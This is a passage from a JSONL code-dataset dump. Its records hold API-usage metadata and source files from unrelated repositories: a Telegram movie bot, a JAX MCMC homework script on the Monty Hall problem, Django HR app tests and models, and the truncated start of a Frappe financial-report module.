"usage_type": "call"}, {"api_name": "loader._", "line_number": 35, "usage_type": "call"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 30, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 30, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 30, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria", "line_number": 30, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 42, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 42, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 42, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}, {"api_name": "loader.bot.send_chat_action", "line_number": 53, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 53, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 53, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 53, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 54, "usage_type": "call"}, {"api_name": "loader._", "line_number": 59, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardRemove", "line_number": 59, "usage_type": "call"}, {"api_name": "aiogram.types", "line_number": 59, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 40, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 40, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 41, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 41, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 41, "usage_type": "call"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 66, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 66, "usage_type": "name"}, {"api_name": "loader.bot.send_chat_action", "line_number": 73, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 73, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 73, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 73, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 74, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria.genre.set", "line_number": 76, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria.genre", "line_number": 76, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 76, "usage_type": "name"}, {"api_name": "loader._", "line_number": 77, "usage_type": "call"}, {"api_name": "keyboards.inline.choise_buttons.genres_keyboard", "line_number": 77, "usage_type": "call"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 65, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 65, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 65, "usage_type": "call"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 82, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 82, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 82, "usage_type": "name"}, {"api_name": "database.db.Criteria", "line_number": 90, "usage_type": "call"}, {"api_name": "loader.bot.send_chat_action", "line_number": 95, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 95, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 95, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 95, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 96, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria.next", "line_number": 98, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria", "line_number": 98, "usage_type": "name"}, {"api_name": "loader._", "line_number": 99, "usage_type": "call"}, {"api_name": "keyboards.default.vote_average", "line_number": 99, "usage_type": "name"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 81, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 81, "usage_type": "name"}, {"api_name": "states.criteria.FormCriteria.genre", "line_number": 81, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 81, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 105, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 105, "usage_type": "name"}, {"api_name": "loader._", "line_number": 110, "usage_type": "call"}, {"api_name": "loader.dp.message_handler", "line_number": 102, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 102, "usage_type": "name"}, {"api_name": "states.criteria.FormCriteria.voteaverage", "line_number": 103, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 103, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 117, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 117, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 117, "usage_type": "name"}, {"api_name": "loader.bot.send_chat_action", "line_number": 125, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 125, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 125, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 125, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 126, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria.next", "line_number": 129, "usage_type": "call"}, {"api_name": "states.criteria.FormCriteria", "line_number": 129, "usage_type": "name"}, {"api_name": "database.db.Criteria", "line_number": 133, "usage_type": "name"}, {"api_name": "loader._", "line_number": 139, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardRemove", "line_number": 139, "usage_type": "call"}, {"api_name": "aiogram.types", "line_number": 139, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 114, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 114, "usage_type": "name"}, {"api_name": "states.criteria.FormCriteria.voteaverage", "line_number": 115, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 115, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 144, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 144, "usage_type": "name"}, {"api_name": "loader._", "line_number": 149, "usage_type": "call"}, {"api_name": "loader.dp.message_handler", "line_number": 143, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 143, "usage_type": "name"}, {"api_name": "states.criteria.FormCriteria.year", "line_number": 143, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 143, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 154, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 154, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 154, "usage_type": "name"}, {"api_name": "database.db.Criteria", "line_number": 166, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 170, "usage_type": "attribute"}, {"api_name": "loader.bot.send_chat_action", "line_number": 177, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 177, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 177, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 177, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 178, "usage_type": "call"}, {"api_name": "loader._", "line_number": 184, "usage_type": "call"}, {"api_name": "loader.bot.send_photo", "line_number": 191, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 191, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 192, "usage_type": "call"}, {"api_name": "keyboards.inline.choise_buttons.total_keyboard", "line_number": 194, "usage_type": "call"}, {"api_name": "loader.dp.message_handler", "line_number": 153, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 153, "usage_type": "name"}, {"api_name": "states.criteria.FormCriteria.year", "line_number": 153, "usage_type": "attribute"}, {"api_name": "states.criteria.FormCriteria", "line_number": 153, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 198, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 198, "usage_type": "name"}, {"api_name": "tmdb_v3_api.get_api_for_context", "line_number": 217, "usage_type": "call"}, {"api_name": "message_output.message_output.MessageText", "line_number": 229, "usage_type": "call"}, {"api_name": "loader.bot.send_chat_action", "line_number": 237, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 237, "usage_type": "name"}, {"api_name": "aiogram.types.ChatActions.TYPING", "line_number": 237, "usage_type": "attribute"}, {"api_name": "aiogram.types.ChatActions", "line_number": 237, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 238, "usage_type": "call"}, {"api_name": "loader._", "line_number": 241, "usage_type": "call"}, {"api_name": "keyboards.inline.choise_buttons.result_keyboard", "line_number": 244, "usage_type": "call"}, {"api_name": "loader._", "line_number": 249, "usage_type": "call"}, {"api_name": "keyboards.inline.choise_buttons.menu_", "line_number": 249, "usage_type": "call"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 197, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 197, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 197, "usage_type": "call"}]} +{"seq_id": "71830978249", "text": "import os\n\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\nimport distrax\n\nimport MCMC\n\n\ndef main(argv=None):\n def model_function(q, x):\n probability = jnp.where(\n x == 0,\n 1 - q[0],\n q[0],\n )\n distribution = distrax.Bernoulli(probs=probability)\n probability_win = distribution.prob(1.0)\n return probability_win\n\n # Figure Path:\n figure_path = os.path.join(os.path.dirname(__file__), 'figures')\n\n # Generate data:\n key = jax.random.PRNGKey(42)\n\n # Create data:\n sample_size = 1000\n x = jax.random.bernoulli(key, shape=(sample_size,))\n actual_q = np.array([1/3])\n y = []\n for i in range(sample_size):\n y.append(model_function(actual_q, x[i]))\n\n _, key = jax.random.split(key)\n y = np.asarray(y)\n\n # Initialize Parameters:\n q = jnp.zeros((1,))\n\n # Initialize Random Walk:\n num_chain_elements = 10000\n random_walk = MCMC.RandomWalk(\n model_function=model_function,\n parameters=q,\n data=(y, x),\n rng_key=key,\n num_observations=0.1,\n num_chain_elements=num_chain_elements,\n custom_initial_guess=jnp.array([0.1]),\n )\n\n # Run MCMC Loop:\n data = random_walk.loop()\n theta, ss, variance = data\n actual_theta = actual_q\n final_theta = theta[-1, :]\n print(f\"Actual Theta: {actual_theta} \\n Initial Theta: {random_walk.q0} \\n Final Theta: {final_theta}\")\n\n # Compute Chains:\n # burnin = num_chain_elements // 10\n burnin = 0\n num_std = 1.0\n theta_1_kernel = scipy.stats.gaussian_kde(theta[burnin:, 0])\n theta_1_range = (\n np.mean(theta[burnin:, 0]) - num_std * np.std(theta[burnin:, 0]),\n np.mean(theta[burnin:, 0]) + num_std * np.std(theta[burnin:, 0]),\n )\n theta_1_range = np.linspace(*theta_1_range, 1000)\n theta_1_samples = theta_1_kernel.evaluate(theta_1_range)\n\n # Plot Results:\n fig, ax = plt.subplots(4)\n plt.subplots_adjust(hspace=1.5)\n ax[0].scatter(theta_1_range, theta_1_samples)\n ax[0].set_xlabel(\"theta_1\")\n ax[0].set_ylabel(\"pdf\")\n ax[0].set_title(\"Probability of Winning if you Stay\")\n iteration = np.arange(num_chain_elements)\n ax[2].scatter(iteration, theta)\n ax[2].set_xlabel(\"iteration\")\n ax[2].set_ylabel(\"theta_1\")\n ax[2].set_title(\"Chain Plot: Stay\")\n\n # Probability Switch:\n actual_q = np.array([2/3])\n y = []\n for i in range(sample_size):\n y.append(model_function(actual_q, x[i]))\n\n _, key = jax.random.split(key)\n y = np.asarray(y)\n\n # Initialize Parameters:\n q = jnp.zeros((1,))\n\n # Initialize Random Walk:\n num_chain_elements = 10000\n random_walk = MCMC.RandomWalk(\n model_function=model_function,\n parameters=q,\n data=(y, x),\n rng_key=key,\n num_observations=0.1,\n num_chain_elements=num_chain_elements,\n custom_initial_guess=jnp.array([0.1]),\n )\n\n # Run MCMC Loop:\n data = random_walk.loop()\n theta, ss, variance = data\n actual_theta = actual_q\n final_theta = theta[-1, :]\n print(f\"Actual Theta: {actual_theta} \\n Initial Theta: {random_walk.q0} \\n Final Theta: {final_theta}\")\n\n # Compute Chains:\n # burnin = num_chain_elements // 10\n burnin = 0\n num_std = 1.0\n theta_1_kernel = scipy.stats.gaussian_kde(theta[burnin:, 0])\n theta_1_range = (\n np.mean(theta[burnin:, 0]) - num_std * np.std(theta[burnin:, 0]),\n np.mean(theta[burnin:, 0]) + num_std * np.std(theta[burnin:, 0]),\n )\n theta_1_range = np.linspace(*theta_1_range, 1000)\n theta_1_samples = theta_1_kernel.evaluate(theta_1_range)\n\n ax[1].scatter(theta_1_range, theta_1_samples)\n ax[1].set_xlabel(\"theta_1\")\n ax[1].set_ylabel(\"pdf\")\n ax[1].set_title(\"Probability of Winning if you Switch\")\n iteration = np.arange(num_chain_elements)\n ax[3].scatter(iteration, theta)\n ax[3].set_xlabel(\"iteration\")\n ax[3].set_ylabel(\"theta_1\")\n ax[3].set_title(\"Chain Plot: Switch\")\n figure_name = os.path.join(figure_path, 'problem_2.png')\n fig.savefig(fname=figure_name, dpi=300)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "jeh15/bayesian_uncertainty", "sub_path": "homework_5/problem_2.py", "file_name": "problem_2.py", "file_ext": "py", "file_size_in_byte": 4189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "jax.numpy.where", "line_number": 15, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 15, "usage_type": "name"}, {"api_name": "distrax.Bernoulli", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "jax.random.PRNGKey", "line_number": 28, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "jax.random.bernoulli", "line_number": 32, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "jax.random.split", "line_number": 38, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 39, "usage_type": "call"}, {"api_name": "jax.numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 42, "usage_type": "name"}, {"api_name": "MCMC.RandomWalk", "line_number": 46, "usage_type": "call"}, {"api_name": "jax.numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 53, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "jax.random.split", "line_number": 94, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 95, "usage_type": "call"}, {"api_name": "jax.numpy.zeros", "line_number": 98, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 98, "usage_type": "name"}, {"api_name": "MCMC.RandomWalk", "line_number": 102, "usage_type": "call"}, {"api_name": "jax.numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 109, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 123, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}]} +{"seq_id": "72294150088", "text": "from django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom .models import Candidate, Department\nfrom datetime import date\nimport io\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\n\n\n# Create your tests here.\nclass CandidateViewsTestCase(TestCase):\n def setUp(self):\n self.client = APIClient()\n self.department = Department.objects.get(name='IT')\n self.candidate = Candidate.objects.create(\n first_name=\"Ashraf\",\n last_name=\"Alroomi\",\n date_of_birth=date(1996, 8, 15),\n start_working_date=date(2020, 1, 1),\n department=self.department,\n resume=self.create_test_resume()\n )\n\n def test_department_list_view(self):\n url = reverse('department-list')\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data), 3)\n\n def create_test_resume(self):\n content = b'CV'\n buffer = io.BytesIO(content)\n uploaded_file = InMemoryUploadedFile(buffer, None, 'test_resume.pdf', 'application/pdf', len(content), None)\n return uploaded_file\n\n def test_candidate_registration(self):\n url = reverse('candidate-create')\n resume_file = self.create_test_resume()\n\n data = {\n \"first_name\": \"Ashraf\",\n \"last_name\": \"Alroomi\",\n \"date_of_birth\": \"1996-08-30\",\n \"start_working_date\": \"2020-01-01\",\n \"department\": \"IT\",\n \"resume\": resume_file\n }\n response = self.client.post(url, data, format='multipart')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(Candidate.objects.count(), 2)\n self.assertEqual(Candidate.objects.last().first_name, 'Ashraf')\n self.assertEqual(Candidate.objects.last().last_name, 'Alroomi')\n self.assertEqual(Candidate.objects.last().department.name, 'IT')\n\n def test_candidate_list_view(self):\n url = reverse('candidate-list')\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n self.client.credentials(HTTP_X_ADMIN='1')\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data), 1)\n\n def test_candidate_resume_download_view(self):\n url = reverse('candidate-resume', kwargs={'id': self.candidate.id})\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n self.client.credentials(HTTP_X_ADMIN='1')\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertIn('application/octet-stream', response['Content-Type'])\n self.assertIn('attachment', response['Content-Disposition'])\n", "repo_name": "AshrafAlroomi/equevu-hr-task", "sub_path": "applicants/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 3000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.test.TestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Department.objects.get", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Department.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.Department", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Candidate.objects.create", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Candidate.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Candidate", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 28, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 33, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 50, "usage_type": "name"}, {"api_name": "models.Candidate.objects.count", "line_number": 51, "usage_type": "call"}, {"api_name": "models.Candidate.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.Candidate", "line_number": 51, "usage_type": "name"}, {"api_name": "models.Candidate.objects.last", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Candidate.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.Candidate", "line_number": 52, "usage_type": "name"}, {"api_name": "models.Candidate.objects.last", "line_number": 53, "usage_type": "call"}, {"api_name": "models.Candidate.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "models.Candidate", "line_number": 53, "usage_type": "name"}, {"api_name": "models.Candidate.objects.last", "line_number": 54, "usage_type": "call"}, {"api_name": "models.Candidate.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.Candidate", "line_number": 54, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 57, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 63, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 63, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 67, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 69, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 73, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 73, "usage_type": "name"}]} +{"seq_id": "21951989980", "text": "from django.contrib.auth import get_user_model\nfrom django.db import models\nfrom companies.models import Company\n\n# Create your models here.\nfield_choices = (('IT', 'Information Technology'), ('SL', 'Sales'), ('MG', 'Management'), ('AC', 'Analytics/Consulting'), ('OT', 'Other'))\nfield_choices_dict = dict(field_choices)\n\nclass Job(models.Model):\n job_title = models.CharField(max_length = 64)\n field = models.CharField(max_length = 2, choices = field_choices)\n company = models.ForeignKey(Company, on_delete = models.CASCADE)\n description = models.TextField(null = True, blank = True)\n salary = models.IntegerField(null=True, blank = True)\n recruiter = models.ForeignKey(get_user_model(), on_delete = models.CASCADE, related_name = 'jobs_hiring')\n applicants = models.ManyToManyField(get_user_model(), related_name='jobs_applied', null=True, blank=True)\n\n def __str__(self):\n return f'{self.job_title} : {self.company.name}'\n\n\n", "repo_name": "amayank7/django-job-portal", "sub_path": "jobs/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 959, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 12, "usage_type": "call"}, {"api_name": "companies.models.Company", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.db.models.TextField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "32709135892", "text": "import frappe, calendar, copy, datetime, json\n\nfrom frappe import _, qb, scrub, publish_progress\nfrom frappe.query_builder import CustomFunction\nfrom frappe.query_builder.functions import Max\nfrom frappe.utils import date_diff, flt, getdate, cint, flt\nfrom erpnext.controllers.queries import get_match_cond\nfrom erpnext.accounts.report.financial_statements import *\nfrom erpnext.accounts.report.balance_sheet.balance_sheet import (execute, check_opening_balance, get_provisional_profit_loss)\nfrom erpnext.stock.utils import get_incoming_rate\nfrom collections import OrderedDict\n\nglobal_fiscal_year = 0\nbalance_sheet_start_date = \"\"\nbalance_sheet_end_date = \"\"\nold_method = False\n\n\n## ============================================================================================================================================\n## FUNCTION CALLED FROM JAVASCRIPT\n## ============================================================================================================================================\n \n@frappe.whitelist()\ndef run_queries(filters, cost_center_name = \"\"):\n filters = frappe._dict(json.loads(filters) or {})\n\n if (cost_center_name == \"Consolidated\"):\n return run_consolidated_query(filters)\n elif (cost_center_name == \"Balance Sheet\"):\n return run_balance_sheet_query(filters)\n else:\n return run_cost_center_query(filters, cost_center_name)\n\n\n## \ndef run_balance_sheet_query(filters):\n global balance_sheet_start_date\n global balance_sheet_end_date\n \n balance_sheet_start_date = get_year_start_date(filters.to_fiscal_year, filters.period_end_month)\n balance_sheet_end_date = get_year_end_date(filters.to_fiscal_year, filters.period_end_month)\n dataset = []\n\n # generate the balance sheet\n print(\"Getting data for Balance Sheet\")\n balance_sheet_dataset = (get_balance_sheet(filters))\n dataset.append(balance_sheet_dataset[0])\n dataset.append(balance_sheet_dataset[1])\n\n return dataset\n\n\n## \ndef run_cost_center_query(filters, cost_center_name):\n dataset = []\n\n period = get_income_statement_period(\n to_fiscal_year = filters.to_fiscal_year,\n periodicity = filters.periodicity,\n period_end_month = filters.period_end_month,\n company = filters.company,\n accumulated_values = False, # default value\n reset_period_on_fy_change = True, # default value\n ignore_fiscal_year = False # default value\n )\n\n print(\"Getting data for \" + cost_center_name.split(\" \")[0])\n cost_center_data = get_cost_center_data(filters, period, cost_center_name)\n dataset.append(cost_center_data[0])\n dataset.append(cost_center_data[1])\n\n return dataset\n\n\n## calls the functions above and generated Income Statement data\ndef run_consolidated_query(filters):\n data = []\n dataset = []\n\n # first append the header for Consolidated\n dataset_header = [{\"dataset_for\": \"Consolidated\"}]\n dataset.append(dataset_header)\n\n print(\"Getting data for Consolidated\")\n\n period = get_income_statement_period(\n to_fiscal_year = filters.to_fiscal_year,\n periodicity = filters.periodicity,\n period_end_month = filters.period_end_month,\n company = filters.company,\n accumulated_values = False, # default value\n reset_period_on_fy_change = True, # default value\n ignore_fiscal_year = False # default value\n )\n\n income = get_income_statement_data(\n period_end_month = filters.period_end_month,\n period_end_year = filters.to_fiscal_year,\n company = filters.company,\n root_type = \"Income\",\n balance_must_be = \"Credit\",\n period_list = period,\n filters = filters,\n accumulated_values = filters.accumulated_values,\n only_current_fiscal_year = True, # default value\n ignore_closing_entries = True,\n ignore_accumulated_values_for_fy = True,\n total = True # default value\n )\n\n expense = get_income_statement_data(\n period_end_month = filters.period_end_month,\n period_end_year = filters.to_fiscal_year,\n company = filters.company,\n root_type = \"Expense\",\n balance_must_be = \"Debit\",\n period_list = period,\n filters = filters,\n accumulated_values = filters.accumulated_values,\n only_current_fiscal_year = True, # default value\n ignore_closing_entries = True,\n ignore_accumulated_values_for_fy = True,\n total = True # default value\n )\n\n # append the dataset for Consolidated\n data.extend(income)\n data.extend(expense)\n dataset.append(data)\n\n return dataset\n\n\n## not used as filters have defaults\ndef validate_filters(filters):\n # validate the selected filters\n if not filters:\n return [], [], None, []\n if not filters.period_end_month:\n frappe.throw(_(\"Please select a month.\"))\n if not filters.to_fiscal_year:\n frappe.throw(_(\"Please select a year.\"))\n if not filters.cost_center:\n frappe.throw(_(\"Please select at least one cost center.\"))\n\n\n## \ndef get_year_end_date(to_fiscal_year, period_end_month):\n from_fiscal_year = str(int(to_fiscal_year) - 1)# we want to run this on the same fiscal year, so from_fiscal_year = to_fiscal_year\n fiscal_year = get_fiscal_year_data(from_fiscal_year, to_fiscal_year)\n\n year_end_date = str(fiscal_year.year_end_date)[0:4] # yyyy\n selected_month_in_int = list(calendar.month_abbr).index(period_end_month[0:3]) # convert the selected month into int\n\n # prefix month number with 0 when needed\n if (len(str(selected_month_in_int)) == 1):\n year_end_date += \"-0\" + str(selected_month_in_int) + \"-\" # -0m-\n else:\n year_end_date += \"-\" + str(selected_month_in_int) + \"-\" # -mm-\n \n\n if (selected_month_in_int == 1\n or selected_month_in_int == 3\n or selected_month_in_int == 5\n or selected_month_in_int == 